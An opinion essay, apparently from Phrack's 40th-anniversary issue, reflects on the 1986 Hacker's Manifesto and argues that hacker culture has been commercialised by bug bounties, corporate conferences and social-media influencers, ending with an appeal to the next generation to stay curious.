Reborn ]=----------=| |=-----------------------------------------------------------------------=| |=-----------------------------=[ TMZ ]=---------------------------------=| |=-----------------------------------------------------------------------=| A Memory of Sparks In 1986, The Hacker's Manifesto emerged from a dial tone, striking the scene like lightning. It was an act of defiance, a declaration of identity, a poetic snapshot of a subculture forming in the shadows of mainframes and TTYs. It reflected the days of stolen long-distance codes, BBSes, and the belief that knowledge should be free. Now, in 2025 — 40 years since Phrack first bounced across telephone wires and underground forums — we look back not to wax nostalgic, but to understand how the hacker spirit has evolved, splintered, and, in many ways, sold its soul. This is not a eulogy. It is a reckoning. We need to face what's really happened. "We exist without skin color, without nationality, without religious bias... and you call us criminals." — The Hacker's Manifesto, 1986 From Curiosity to Commodity Then: We were the kids who saw the blinking cursor not as a barrier, but as an invitation. We typed characters into the voids and got back secrets. Our goal was not destruction, it was understanding — to understand the systems better than those who built them. The thrill of "getting in" was matched only by the beauty of making something out of nothing. Now: Hacking is a job title. Curiosity has been commodified. A thousand "Bug Bounty Platforms" are trying to monetize your desire for understanding, to turn it into CVEs and T-shirts. CTFs have become resume-building exercises. Reverse engineers wear corporate badges. Developed by government employees rather than openly in the community, exploits get embargoed, not shared. The paradise of the underground has been paved over by venture capital and compliance frameworks, steamrolling everything we used to stand for. We Were Hackers, Not Consumers Then: We were the creators in a world of closed systems. If the machine didn't do what we wanted, we opened it. We wrote shellcode by hand. We used opcode charts like musicians used sheet music. We owned the stack. Now: The stack owns us. We run opaque blobs inside containers on someone else's infrastructure. Modern "security research" means fuzzing v8 apps in Kubernetes or staring into the abyss of vendor APIs. Many call themselves hackers without ever having debugged a segfault or read an RFC. The Underground Is Dead—Long Live the Underground Then: Phrack was the Rosetta Stone. 2600 was gospel. IRC was sacred ground. Zines were copied, not monetized. We earned respect by contributing tools, ideas, or code, never by chasing clout. Now: We scroll past 40-tweet threads explaining how sudo works. Seriously? We get TikToks on hacking by people in hoodies set to trap music, a caricature at best. "Influencer" and "hacker" now share the same business card. Yet, somewhere the spirit persists. Hidden away in encrypted Matrix rooms, deep inside dead drop Git repositories and onion forums, the real work continues. The underground never died — it just moved to quieter places. The Corporatization of Dissent Then: We were anarchists with a cause. When we hacked, it was to challenge control, not enforce it. We saw the abuse of power, and we exposed it — not for bug bounties, but for truth. Now: The same corporations that used to call us criminals now sponsor "cybersecurity summits." We speak at cons funded by defense contractors. Nation-state APTs get romanticized. Zero-day brokers operate with impunity. The hacker ethos was never about permission. Now even our rebellion needs approval. The Spirit Remains I know I sound bitter, but here's the thing: it was never really about the tech or getting into systems. It was about *freedom*. Freedom to think, to question, to build and break without limits. That spark is hard to find now, but it still lives in the rarest of places: - In the sysadmin quietly running their own mailserver. - In the student soldering a WiFi module to an 80s calculator. - In the researcher publishing their PoC without a brand campaign. - In the collective that forks closed-source hardware just to see what's inside. The manifesto lives on — not in blog posts, but in the act of refusing to conform. Call to the Next Generation We do not gatekeep, but we warn. Do not mistake certifications for competence. Do not confuse platforms with community. Do not accept that "responsible disclosure" means asking permission to be curious. Read the classics. Study the protocol. Run your own infrastructure. Know what came before you. Above all: ask questions, and never wait for answers to be approved. The 41st Byte This is not a return to the past, it is a declaration of continuity. For 40 years, Phrack has stood as a monument, not to nostalgia but to resistance, to knowledge, and to the hacker spirit that refuses to die. Let this not be the end of an era, but the beginning of the next. Hack the planet. Again. Written in honor of Loyd Blankenship ("The Mentor"), in celebration of 40 years of Phrack. By one of the curious, still connected. ]]>